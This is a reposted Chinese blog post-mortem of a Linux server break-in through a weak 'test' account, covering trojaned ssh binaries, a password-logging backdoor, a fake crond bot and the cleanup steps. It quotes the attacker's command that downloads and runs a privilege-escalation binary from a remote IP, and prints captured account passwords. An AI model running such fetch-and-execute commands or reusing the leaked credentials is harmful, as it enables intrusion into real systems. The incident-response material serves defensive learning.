(转)裸奔的后果!一次ssh被篡改的入侵事件
裸奔的后果!一次ssh被篡改的入侵事件
原文:http://blog.51cto.com/phenixikki/1546669
通常服务器安全问题在规模较小的公司常常被忽略,没有负责安全的专员,尤其是游戏行业,因为其普遍架构决定了游戏服通常都是内网进行数据交互,一般端口不对外开放,也因此对安全问题不过于重视。接下来要说的,这是我人生第一次在Linux环境中被入侵的经历,此前只有在Windows Server上有过多次入侵排查的经验,不适用于Linux环境中,由于自己的经验缺乏以及安全意识的薄弱,从而没有及时对已被侵入的服务器做隔离处理,导致扩散到较多的服务器,在此断指三根以示悔恨,哈哈,开玩笑的,在此总结下入侵排查过程以及后续事宜
一、事件回顾
这次的服务器被入侵是一个典型的弱密码导致的入侵事件,由于某人员的疏忽,在某台服务器上新建了test用户,且使用同名的弱密码,以便于调试工作所需的脚本工具,就在当天在做脚本调试的时候发现了某些异常的错误,使用root用户无法ssh远程登陆其他服务器,同时scp命令出现异常无法使用,但其他服务器可以使用scp将文件拷贝到该服务器,之后将问题反馈给运维人员,由我们运维进行排查。
二、排查过程
收到问题反馈,主要涉及ssh相关的问题后,我们运维对该服务器进行排查,发现使用ssh -v中的openssl版本无法显示,且输出的帮助信息与其他服务器不一致,然后查看ssh配置,发现配置文件(ssh_config和sshd_config)文件已更新,其内容被全部注释,这时还没有意识到被入侵,悲哀+1,起初以为同事对该服务器做了升级了ssh版本,后来确认无升级之类的操作。
1、查看ssh版本及相关信息,openssl的版本显示异常,与其他服务器对比,帮助信息显示方式有所不同
2、查看ssh进程及其相关文件,ssh和sshd进程文件已更新,ssh_config和sshd_config配置文件已更新,配置文件内容全部注释,ssh_host_key和ssh_host_key.pub为新增的文件,其他服务器没有这两个文件
3、继续排查,将一台正确的配置文件覆盖至该服务器,重启ssh服务后,使用ssh命令发现无法识别该配置文件中的参数(到这里其实应该发现ssh进程文件已被篡改,使用md5sum做比对即可)
4、由于其他工作事务需要及时处理,排查这个事情就被搁置了,直至之后的YY讨论问题拿出来询问了下大神,才意识到有被入侵的可能
5、询问操作过该服务器的同事,此前正在调试脚本工具,新增了test用户,得知其密码为test
1
2
|
$ cat /etc/passwd | grep test test :x:1005:1005:: /home/test : /bin/bash |
6、进行深入排查,使用chkrootkit -q查看Linux系统是否存在后门,发现有异常。协同之前操作test用户的同事,查找history命令记录,发现一条可疑命令
1
2
3
4
5
6
7
|
$ su - test $ history 50 wget http: //71 .39.255.125/~ake /perf ; chmod +x perf; . /perf # 非同事操作的可疑命令,在虚拟机上测试,发现可以无需命令即可获得root权限 $ w # 无法查看到当前登录用户(请忽略我跳跃的思维) $ cat /usr/include/netda .h # 找到一个用户登录就记录其密码的文件(某大神找到的) +user: bin +password: worlddomination +user: test +password: TF4eygu4@ #$ds |
7、在另外一台服务器上,发现某账号家目录下有个dead.letter文件,用于将获取到的信息(系统信息、IP地址、账号密码等)发送至指定的邮箱
8、又在另外一台服务器上部署了一套可疑的程序,估计是作为肉鸡功能
1
2
3
|
$ sudo crontab -e * * * * * /usr/include/statistics/update > /dev/null 2>&1 # 原有的cron任务已被清空,仅有该条可疑任务 |
9、找到/usr/include/statistics为主程序的目录,其中update为主程序,通过autorun脚本进行部署,执行crond伪装成crond服务,使原crond服务隐藏且无法启动,将cron覆盖至原有crontab文件来每分钟执行update二进制程序,mech.pid记录伪装的crond程序的PID
三、清理工作
1、紧急修复清理
将准备好的正常的ssh相关文件上传至被入侵服务器的/tmp目录下
1)查看并修改属性
1
2
3
4
5
|
$ sudo lsattr /usr/bin/ssh -u--ia-------e- /usr/bin/ssh $ sudo chattr -ia /usr/bin/ssh # 修改属性以保证文件可被覆盖 $ sudo lsattr /usr/sbin/sshd -u-----------e- /usr/sbin/sshd |
2)恢复ssh和sshd
1
2
3
4
5
|
$ sudo cp /tmp/ssh /usr/bin/ # 将ssh进程文件覆盖恢复 $ sudo cp /tmp/ *_config /etc/ssh/ # 将配置文件覆盖恢复 $ sudo rm /etc/ssh/ssh_host_key * # 删除新增的可疑文件 $ sudo crontab -e # sshd无法覆盖,使用cron方式解决 30 3 * * * pkill -9 sshd; cp /tmp/sshd /usr/sbin/ ; /etc/init .d /ssh restart |
3)删除多余的文件以及恢复crond
1
2
3
4
|
$ sudo rm /usr/include/netda .h $ sudo kill -9 $( cat /usr/include/statistics/mech .pid) $ [ -d /usr/include/statistics ] && sudo rm /usr/include/statistics $ sudo /etc/init .d /cron restart |
2、后续安全工作
1)修改所有涉及的服务器的账户密码,之后其他使用同类密码的服务器也需改掉
2)配置防火墙策略,只允许公司外网IP可ssh访问服务器
3)对于被入侵过的服务器系统后期逐步重做系统,避免存在未清理的后门
写在最后:
此次的遭受攻击,问题主要是运维安全意识较差,以及防火墙策略比较松散,为了便于远程工作,像ssh端口未做限制,服务器几乎是裸奔的状态。经过此番折腾,也对服务器安全方面做了一次警示,需加强防御工作,同时也了解到典型的ssh后门功能:其一是超级密码隐身登陆;其二是记录登陆的账号密码。后续还需制定一系列入侵检测机制,以防再次出现入侵事故。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
· 一个奇形怪状的面试题:Bean中的CHM要不要加volatile?
· [.NET]调用本地 Deepseek 模型
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· 没有源码,如何修改代码逻辑?
· PowerShell开发游戏 · 打蜜蜂
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战